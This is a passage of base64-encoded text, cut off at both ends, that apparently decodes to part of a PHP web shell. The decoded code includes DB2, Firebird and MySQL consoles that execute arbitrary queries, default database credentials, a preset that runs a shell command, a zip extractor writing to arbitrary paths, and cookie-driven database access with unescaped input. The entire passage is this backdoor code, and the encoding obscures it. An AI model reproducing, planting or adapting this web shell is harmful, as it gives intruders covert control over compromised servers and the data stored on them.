KCjx0ZXh0YXJlYSBuYW1lPSJkYjJzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JGRiMnF1ZXJ5fTwvdGV4dGFyZWE+PGJyPgo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gZGIyRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSI+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPuaJp+ihjOWRveS7pDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7mlbDmja7lupM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSI+6KGo5q61PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIiPuWtl+autTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIj7mlbDmja7lupPphY3nva48L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImRiMnF1ZXJ5Ij4KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZGl2PjwvZm9ybT4KRU5EOwppZiAoJG15YWN0aW9uID09ICdkYjJxdWVyeScpewokZGIybGluayA9IGRiMl9jb25uZWN0KCRkYjJkYm5hbWUsICRkYjJ1c2VyLCAkZGIycGFzcykgb3IgZGllKGRiMl9jb25uX2Vycm9ybXNnKCkpOwokZGIycmVzdWx0ID0gZGIyX2V4ZWMoJGRiMmxpbmssJGRiMnF1ZXJ5KSBvciBkaWUoZGIyX3N0bXRfZXJyb3Jtc2coKSk7CiRkYjJyb3c9ZGIyX2ZldGNoX3JvdygkZGIycmVzdWx0KTsKZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7CmZvciAoJGk9MDsgJGk8ZGIyX251bV9maWVsZHMoJGRiMnJlc3VsdCk7ICRpKyspCntlY2hvICc8dGQ+PGI+Jy5kYjJfZmllbGRfbmFtZSgkZGIycmVzdWx0KS4iPC9iPjwvdGQ+XG4iO30KZWNobyAiPC90cj5cbiI7CndoaWxlICgkZGIycm93PWRiMl9mZXRjaF9yb3coJGRiMnJlc3VsdCkpCnsKZWNobyAiPHRyPlxuIjsKZm9yICgkaT0wOyAkaTxkYjJfbnVtX2ZpZWxkcygkZGIycmVzdWx0KTsgJGkrKyApCntlY2hvICc8dGQ+Jy4iJGRiMnJvd1skaV0iLic8L3RkPic7fQplY2hvICI8L3RyPlxuIjsKfQplY2hvICI8L3RhYmxlPjwvZm9udD4iOwpkYjJfZnJlZV9yZXN1bHQoJGRiMnJlc3VsdCk7CmRiMl9jbG9zZSgpOwp9Cn0KZWxzZWlmKCRkYiA9PSAiZmIiKSB7CiRmYmhvc3QgPSBpc3NldCgkX1BPU1RbJ2ZiaG9zdCddKSA/ICRfUE9TVFsnZmJob3N0J10gOiAnbG9jYWxob3N0JzsKJGZicGF0aCA9IGlzc2V0KCRfUE9TVFsnZmJwYXRoJ10pID8gJF9QT1NUWydmYnBhdGgnXSA6ICcnOwokZmJwYXRoID0gc3RyX3JlcGxhY2UoIlxcXFwiLCAiXFwiLCAkZmJwYXRoKTsKJGZidXNlciA9IGlzc2V0KCRfUE9TVFsnZmJ1c2VyJ10pID8gJF9QT1NUWydmYnVzZXInXSA6ICdzeXNkYmEnOwokZmJwYXNzID0gaXNzZXQoJF9QT1NUWydmYnBhc3MnXSkgPyAkX1BPU1RbJ2ZicGFzcyddIDogJ21hc3RlcmtleSc7CiRmYmFjdGlvbiA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICcnOwokZmJxdWVyeSA9IGlzc2V0KCRfUE9TVFsnZmJzcWwnXSkgPyAkX1BPU1RbJ2Zic3FsJ10gOiAnJzsKJGZicXVlcnkgPSBzdHJpcHNsYXNoZXMoJGZicXVlcnkpOwpwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9ImZiZm9ybSIgYWN0aW9uPSI/ZWFudmVyPW90aGVyc3FsJmRiPWZiIj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7kuLvmnLo6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZiaG9zdCIgdmFsdWU9InskZmJob3N0fSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4K5Zyw5Z2AOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmYnBhdGgiIHZhbHVlPSJ7JGZicGF0aH0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+CuW4kOaItzo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmJ1c2VyIiB2YWx1ZT0ieyRmYnVzZXJ9IiBzdHlsZT0id2lkdGg6MTAwcHgiPgrlr4bnoIE6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZicGFzcyIgdmFsdWU9InskZmJwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij48YnIvPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZmJGdWxsKGkpewpTdHIgPSBuZXcgQXJyYXkoNSk7ClN0clswXSA9ICIiOwpTdHJbMV0gPSAic2VsZWN0IFJEQlwkUkVMQVRJT05fTkFNRSBmcm9tIFJEQlwkUkVMQVRJT05TOyI7ClN0clsyXSA9ICJzZWxlY3QgUkRCXCRGSUVMRF9OQU1FIGZyb20gUkRCXCRSRUxBVElPTl9GSUVMRFMgd2hlcmUgUkRCXCRSRUxBVElPTl9OQU1FPSd0YWJsZV9uYW1lJzsiOwpTdHJbM10gPSAiaW5wdXQgJ0Q6XFxjcmVhdGV0YWJsZS5zcWwnOyI7ClN0cls0XSA9ICJzaGVsbCBuZXRzdGF0IC1hbjsiOwpmYmZvcm0uZmJzcWwudmFsdWUgPSBTdHJbaV07CnJldHVybiB0cnVlOwp9Cjwvc2NyaXB0Pgo8dGV4dGFyZWEgbmFtZT0iZmJzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JGZicXVlcnl9PC90ZXh0YXJlYT48YnI+CjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBmYkZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSkiPgo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7miafooYzlkb3ku6Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSI+6KGo5q61PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIiPuWtl+autTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIj7mt7vliqBzcWw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNCI+c2hlbGw8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImZicXVlcnkiPgo8aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSI+PC9kaXY+PC9mb3JtPgpFTkQ7CmlmKCRmYmFjdGlvbiA9PSAnZmJxdWVyeScpewokZmJsaW5rID0gaWJhc2VfY29ubmVjdCgkZmJob3N0Lic6Jy4kZmJwYXRoLCRmYnVzZXIsJGZicGFzcykgb3IgZGllKGliYXNlX2Vycm1zZygpKTsKJGZicmVzdWx0ID0gaWJhc2VfcXVlcnkoJGZibGluaywkZmJxdWVyeSkgb3IgZGllKGliYXNlX2Vycm1zZygpKTsKZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7CmZvciAoJGk9MDsgJGk8aWJhc2VfbnVtX2ZpZWxkcygkZmJyZXN1bHQpOyAkaSsrKQp7ZWNobyAnPHRkPjxiPicuaWJhc2VfZmllbGRfaW5mbygkZmJyZXN1bHQsICRpKS4iPC9iPjwvdGQ+XG4iO30KZWNobyAiPC90cj5cbiI7CmliYXNlX2ZpZWxkX2luZm8oJGZicmVzdWx0LCAwKTsKd2hpbGUgKCRmYnJvdz1pYmFzZV9mZXRjaF9yb3coJGZicmVzdWx0KSkKewplY2hvICI8dHI+XG4iOwpmb3IgKCRpPTA7ICRpPGliYXNlX251bV9maWVsZHMoJGZicmVzdWx0KTsgJGkrKyApCntlY2hvICc8dGQ+Jy4iJGZicm93WyRpXSIuJzwvdGQ+Jzt9CmVjaG8gIjwvdHI+XG4iOwp9CmVjaG8gIjwvdGFibGU+PC9mb250PiI7CmliYXNlX2ZyZWVfcmVzdWx0KCRmYnJlc3VsdCk7CmliYXNlX2Nsb3NlKCk7Cn0KfQovL30KYnJlYWs7CgoKY2FzZSAiemlwcGFrIjoKLy9mdW5jdGlvbiB6aXBhY3QoKQovL3sKJHpmaWxlPSRfUE9TVFsnemZpbGUnXSA/ICRfUE9TVFsnemZpbGUnXToncGhwLnppcCc7CiRqeXB0PSRfUE9TVFsnanlwdCddID8gJF9QT1NUWydqeXB0J106Jy4vJzsKJHRpcD0i5pyq5byA5aeL6Kej5Y6LIjsKaWYoJF9QT1NUWyd6aXAnXT09J3ppcCcpewppZihmdW5jdGlvbl9leGlzdHMoemlwX29wZW4pKXsKJHpmaWxlPWtleV9leGlzdHMoJ3ppcCcsICRfR0VUKSAmJiAkX0dFVFsnemlwJ10/JF9HRVRbJ3ppcCddOiR6ZmlsZTsKJHpmaWxlPSBzdHJfcmVwbGFjZShhcnJheShkaXJuYW1lKF9fRklMRV9fKS4iLyIsZGlybmFtZShfX0ZJTEVfXykuIlxcIiksYXJyYXkoIiIsIiIpLCR6ZmlsZSk7CiR6cGF0aD1zdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKF9fRklMRV9fKSkuJy8nLiR6ZmlsZTsKaWYoIWlzX2ZpbGUoJHpwYXRoKSl7JHRpcD0n5paH5Lu2IicuJHpwYXRoLici5LiN5a2Y5ZyoISc7fWVsc2V7CiR6aXA9IG5ldyBaaXBBcmNoaXZlKCk7CiRycz0kemlwLT5vcGVuKCR6cGF0aCk7CmlmKCRycyAhPT0gVFJVRSl7JHRpcD0n6Kej5Y6L5aSx6LSlOicuJHJzO30KJHppcC0+ZXh0cmFjdFRvKCRqeXB0KTsKJHppcC0+Y2xvc2UoKTsKJHRpcD0kemZpbGUuJ+ino+WOi+aIkOWKnyEnO30KfWVsc2V7JHRpcD0i5pyN5Yqh5Zmo5LiN5pSv5oyBUEhQX1pJUOe7hOS7tizor7fnoa7orqQiO30KfQpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPgo8Zm9ybSBhY3Rpb249Ij9lYW52ZXI9aW5mb19mIiBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ6aXAiIGlkPSJ6aXAiIHZhbHVlPSJ6aXAiPgrmnKzmqKHlnZfkvb/nlKhQSFDnmoR6aXBfb3BlbuaJqeWxleadpeaTjeS9nFpJUOWOi+e8qeaWh+S7tjxicj4K5L2/55So5YmN6K+35Zyo44CQPGI+PGEgaHJlZj0iPz9lYW52ZXI9aW5mb19mIj7ns7vnu5/kv6Hmga88L2E+PC9iPuOAkeS4reehruiupOezu+e7n+aUr+aMgXBocF96aXA8YnI+CuWOi+e8qeaWh+S7tui3r+W+hOWPr+WGmeS4i+e6p+ebruW9leWSjOeJqeeQhui3r+W+hO+8jOebuOWvueebruW9leaYr+WQpuWPr+aTjeS9nOacqua1i+ivlSA6LSg8YnI+CuehruiupOebruagh+i3r+W+hOWPr+WGmTxicj48YnI+CuWOi+e8qeaWh+S7tui3r+W+hO+8mjxicj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InpmaWxlIiBpZD0iemZpbGUiIHZhbHVlPSJ7JHpmaWxlfSIgc3R5bGU9IndpZHRoOjcyMHB4OyI+PGJyPjxicj4K55uu5qCH6Lev5b6E77yaCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJqeXB0IiBpZD0ianlwdCIgdmFsdWU9InskanlwdH0iIHN0eWxlPSJ3aWR0aDo3MjBweDsiPjxicj48YnI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLlvIDlp4vop6PljosiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PGJyPjxicj48YnI+CnskdGlwfTxicj48YnI+PGJyPjwvZm9ybT48L2Rpdj4KRU5EOwovL30KYnJlYWs7CgoKCgoKY2FzZSAibXlzcWxfbXNnIjoKCSRjb25uID0gQG15c3FsX2Nvbm5lY3QoJF9DT09LSUVbJ21fZWFudmVyaG9zdCddLic6Jy4kX0NPT0tJRVsnbV9lYW52ZXJwb3J0J10sJF9DT09LSUVbJ21fZWFudmVydXNlciddLCRfQ09PS0lFWydtX2VhbnZlcnBhc3MnXSk7CglpZigkY29ubikKCXsKcHJpbnQ8PDxFTkQKPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIERlbG9rKG1zZyxnb3VybCkKewoJc21zZyA9ICLnoa7lrpropoHliKDpmaRbIiArIHVuZXNjYXBlKG1zZykgKyAiXeWQlz8iOwoJaWYoY29uZmlybShzbXNnKSl7d2luZG93LmxvY2F0aW9uID0gZ291cmw7fQp9CmZ1bmN0aW9uIENyZWF0ZW9rKGFjKQp7CglpZihhYyA9PSAnYScpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSAnQ1JFQVRFIFRBQkxFIG5hbWUgKGVhbnZlciBCTE9CKTsnOwoJaWYoYWMgPT0gJ2InKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBEQVRBQkFTRSBuYW1lOyc7CglpZihhYyA9PSAnYycpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSAnRFJPUCBEQVRBQkFTRSBuYW1lOyc7CglyZXR1cm4gZmFsc2U7Cn0KPC9zY3JpcHQ+CkVORDsKCQkkQk9PTCA9IGZhbHNlOwoJCSRNU0dfQk9YID0gJ+eUqOaItzonLiRfQ09PS0lFWydtX2VhbnZlcnVzZXInXS4nICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyDlnLDlnYA6Jy4kX0NPT0tJRVsnbV9lYW52ZXJob3N0J10uJzonLiRfQ09PS0lFWydtX2VhbnZlcnBvcnQnXS4nICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyDniYjmnKw6JzsKCQkkayA9IDA7CgkJJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgnc2VsZWN0IHZlcnNpb24oKTsnLCRjb25uKTsKCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskTVNHX0JPWCAuPSAkcm93WyRrXTskaysrO30KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPiDmlbDmja7lupM6JzsKCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgREFUQUJBU0VTIiwkY29ubik7CgkJd2hpbGUoJGRiID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpe2VjaG8gJyZuYnNwOyZuYnNwO1s8YSBocmVmPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRkYlsnRGF0YWJhc2UnXS4nIj4nLiRkYlsnRGF0YWJhc2UnXS4nPC9hPl0nO30KCQllY2hvICc8L2Rpdj4nOwoJCWlmKGlzc2V0KCRfR0VUWydkYiddKSkKCQl7CgkJCW15c3FsX3NlbGVjdF9kYigkX0dFVFsnZGInXSwkY29ubik7CgkJCWlmKCFlbXB0eSgkX1BPU1RbJ25zcWwnXSkpeyRCT09MID0gdHJ1ZTsgJE1TR19CT1ggPSBteXNxbF9xdWVyeSgkX1BPU1RbJ25zcWwnXSwkY29ubikgPyAn5omn6KGM5oiQ5YqfJyA6ICfmiafooYzlpLHotKUgJy5teXNxbF9lcnJvcigpO30KCQkJaWYoaXNfYXJyYXkoJF9QT1NUWydpbnNxbCddKSkKCQkJewoJCQkJJHF1ZXJ5ID0gJ0lOU0VSVCBJTlRPICcuJF9HRVRbJ3RhYmxlJ10uJyAoJzsKCQkJCWZvcmVhY2goJF9QT1NUWydpbnNxbCddIGFzICR2YXIgPT4gJGtleSkKCQkJCXsKCQkJCQkkcXVlcnlhIC49ICR2YXIuJywnOwoJCQkJCSRxdWVyeWIgLj0gJ1wnJy5hZGRzbGFzaGVzKCRrZXkpLidcJywnOwoJCQkJfQoJCQkJJHF1ZXJ5ID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnlhLCAwLCAtMSkuJykgVkFMVUVTICgnLnN1YnN0cigkcXVlcnliLCAwLCAtMSkuJyk7JzsKCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfmt7vliqDmiJDlip8nIDogJ+a3u+WKoOWksei0pSAnLm15c3FsX2Vycm9yKCk7CgkJCX0KCQkJaWYoaXNfYXJyYXkoJF9QT1NUWyd1cHNxbCddKSkKCQkJewoJCQkJJHF1ZXJ5ID0gJ1VQREFURSAnLiRfR0VUWyd0YWJsZSddLicgU0VUICc7CgkJCQlmb3JlYWNoKCRfUE9TVFsndXBzcWwnXSBhcyAkdmFyID0+ICRrZXkpCgkJCQl7CgkJCQkJJHF1ZXJ5YiAuPSAkdmFyLic9XCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnLCc7CgkJCQl9CgkJCQkkcXVlcnkgPSAkcXVlcnkuc3Vic3RyKCRxdWVyeWIsIDAsIC0xKS4nICcuYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3doZXJldmFyJ10pLic7JzsKCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfkv67mlLnmiJDlip8nIDogJ+S/ruaUueWksei0pSAnLm15c3FsX2Vycm9yKCk7CgkJCX0KCQkJaWYoaXNzZXQoJF9HRVRbJ2RlbCddKSkKCQkJewoJCQkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJF9HRVRbJ3RhYmxlJ10uJyBMSU1JVCAnLiRfR0VUWydkZWwnXS4nLCAxOycsJGNvbm4pOwoJCQkJJGdvb2QgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKCQkJCSRxdWVyeSA9ICdERUxFVEUgRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgV0hFUkUgJzsKCQkJCWZvcmVhY2goJGdvb2QgYXMgJHZhciA9PiAka2V5KXskcXVlcnljIC49ICR2YXIuJz1cJycuYWRkc2xhc2hlcygka2V5KS4nXCcgQU5EICc7fQoJCQkJJHdoZXJlID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnljLCAwLCAtNCkuJzsnOwoJCQkJJE1TR19CT1ggPSBteXNxbF9xdWVyeSgkd2hlcmUsJGNvbm4pID8gJ+WIoOmZpOaIkOWKnycgOiAn5Yig6Zmk5aSx6LSlICcubXlzcWxfZXJyb3IoKTsKCQkJfQoJCQkkYWN0aW9uID0gJz9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ107CgkJCWlmKGlzc2V0KCRfR0VUWydkcm9wJ10pKXskcXVlcnkgPSAnRHJvcCBUQUJMRSBJRiBFWElTVFMgJy4kX0dFVFsnZHJvcCddLic7JzskTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAn5Yig6Zmk5oiQ5YqfJyA6ICfliKDpmaTlpLHotKUgJy5teXNxbF9lcnJvcigpO30KCQkJaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pKXskYWN0aW9uIC49ICcmdGFibGU9Jy4kX0dFVFsndGFibGUnXTtpZihpc3NldCgkX0dFVFsnZWRpdCddKSkgJGFjdGlvbiAuPSAnJmVkaXQ9Jy4kX0dFVFsnZWRpdCddO30KCQkJaWYoaXNzZXQoJF9HRVRbJ2luc2VydCddKSkgJGFjdGlvbiAuPSAnJmluc2VydD0nLiRfR0VUWydpbnNlcnQnXTsKCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJy4kYWN0aW9uLiciPic7CgkJCWVjaG8gJzx0ZXh0YXJlYSBuYW1lPSJuc3FsIiBpZD0ibnNxbCIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo1MHB4OyI+Jy4kX1BPU1RbJ25zcWwnXS4nPC90ZXh0YXJlYT4gJzsKCQkJZWNobyAnPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0icXVlcnlzcWwiIHZhbHVlPSLmiafooYwiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyI+ICc7CgkJCWVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLliJvlu7rooagiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdhXCcpIj4gJzsKCQkJZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IuWIm+W7uuW6kyIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7IiBvbmNsaWNrPSJDcmVhdGVvayhcJ2JcJykiPiAnOwoJCQllY2hvICc8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Yig6Zmk5bqTIiBzdHlsZT0id2lkdGg6NjBweDtoZWlnaHQ6NDlweDsiIG9uY2xpY2s9IkNyZWF0ZW9rKFwnY1wnKSI+PC9mb3JtPjwvZGl2Pic7CgkJCWVjaG8gJzxkaXYgY2xhc3M9Im1zZ2JveCIgc3R5bGU9ImhlaWdodDo0MHB4OyI+Jy4kTVNHX0JPWC4nPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLiciPicuJF9HRVRbJ2RiJ10uJzwvYT4gLS0tPiAnOwoJCQlpZihpc3NldCgkX0dFVFsndGFibGUnXSkpCgkJCXsKCQkJCWVjaG8gJzxhIGhyZWY9Ij9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWyd0YWJsZSddLiciPicuJF9HRVRbJ3RhYmxlJ10uJzwvYT4gJzsKCQkJCWVjaG8gJ1s8YSBocmVmPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLicmaW5zZXJ0PScuJF9HRVRbJ3RhYmxlJ10uJyI+5o+S5YWlPC9hPl08L2Rpdj4nOwoJCQkJaWYoaXNzZXQoJF9HRVRbJ2VkaXQnXSkpCgkJCQl7CgkJCQkJaWYoaXNzZXQoJF9HRVRbJ3AnXSkpICRhdGFibGUgPSAkX0dFVFsndGFibGUnXS4nJnA9Jy4kX0dFVFsncCddOyBlbHNlICRhdGFibGUgPSAkX0dFVFsndGFibGUnXTsKCQkJCQllY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP2VhbnZlcj1teXNxbF9tc2cmZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJGF0YWJsZS4nIj4nOwoJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kX0dFVFsnZWRpdCddLicsIDE7JywkY29ubik7CgkJCQkJJGdvb2QgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKCQkJCQkkdSA9IDA7CgkJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpCgkJCQkJewoJCQkJCQkkcXVlcnljIC49ICR2YXIuJz1cJycuJGtleS4nXCcgQU5EICc7CgkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJHUpOwoJCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkdSk7CgkJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+Jy4kdmFyLicgPGZvbnQgY29sb3I9IiNGRjAwMDAiPicuJHR5cGUuJygnLiRsZW4uJyk8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJ1cHNxbFsnLiR2YXIuJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPicuaHRtbHNwZWNpYWxjaGFycygka2V5KS4nPC90ZXh0YXJlYT48L2Rpdj4nOwoJCQkJCQkkdSsrOwoJCQkJCX0KCQkJCQkkd2hlcmUgPSAnV0hFUkUgJy5zdWJzdHIoJHF1ZXJ5YywgMCwgLTQpOwoJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJ3aGVyZXZhciIgbmFtZT0id2hlcmV2YXIiIHZhbHVlPSInLmJhc2U2NF9lbmNvZGUoJHdoZXJlKS4nIj4nOwoJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwZGF0ZSIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQkkcXVlcnkgPSAnU0hPVyBDT0xVTU5TIEZST00gJy4kX0dFVFsndGFibGUnXTsKCQkgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsKCQkgICAgICAkZmllbGRzID0gYXJyYXkoKTsKCQkJICAkcGFnZXNpemU9MjA7CgkJICAgICAgJHJvd19udW0gPSBteXNxbF9udW1fcm93cyhteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLCRjb25uKSk7CgkJCSAgJG51bXJvd3M9JHJvd19udW07CiAgICAgICAgICAgICAgJHBhZ2VzPWludHZhbCgkbnVtcm93cy8kcGFnZXNpemUpOwogICAgICAgICAgICAgIGlmICgkbnVtcm93cyUkcGFnZXNpemUpICRwYWdlcysrOwogICAgICAgICAgICAgICRvZmZzZXQ9JHBhZ2VzaXplKigkcGFnZSAtIDEpOwogICAgICAgICAgICAgICRwYWdlPSRfR0VUWydwJ107CiAgICAgICAgICAgICAgaWYoISRwYWdlKSAkcGFnZT0xOwoKCQkgICAgICBpZighaXNzZXQoJF9HRVRbJ3AnXSkpeyRwID0gMDskX0dFVFsncCddID0gMTt9IGVsc2UgJHAgPSAoKGludCkkX0dFVFsncCddLTEpKjIwOwoJCQkJCWVjaG8gJzx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOwoJCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo3MHB4OyIgbm93cmFwPuaTjeS9nDwvdGQ+JzsKCQkJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKQoJCQkJCXsKCQkJCQkJYXJyYXlfcHVzaCgkZmllbGRzLCRyb3dbJ0ZpZWxkJ10pOwoJCQkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBub3dyYXA+Jy4kcm93WydGaWVsZCddLic8L3RkPic7CgkJCQkJfQoJCQkJCWVjaG8gJzwvdHI+JzsKCQkJCQlpZihlcmVnaSgnV0hFUkV8TElNSVQnLCRfUE9TVFsnbnNxbCddKSAmJiBlcmVnaSgnU0VMRUNUfEZST00nLCRfUE9TVFsnbnNxbCddKSkgJHF1ZXJ5ID0gJF9QT1NUWyduc3FsJ107IGVsc2UgJHF1ZXJ5ID0gJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsndGFibGUnXS4nIExJTUlUICcuJHAuJywgMjA7JzsKCQkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsKCQkJCQkkdiA9ICRwOwoJCQkJCXdoaWxlKCR0ZXh0ID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKQoJCQkJCXsKCQkJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nJnA9Jy4kX0dFVFsncCddLicmZWRpdD0nLiR2LiciPiDkv67mlLkgPC9hPiAnOwoJCQkJCQllY2hvICc8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJ+Wug1wnLFwnP2VhbnZlcj1teXNxbF9tc2cmZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyZwPScuJF9HRVRbJ3AnXS4nJmRlbD0nLiR2LidcJyk7cmV0dXJuIGZhbHNlOyI+IOWIoOmZpCA8L2E+PC90ZD4nOwoJCQkJCQlmb3JlYWNoKCRmaWVsZHMgYXMgJHJvdyl7ZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYW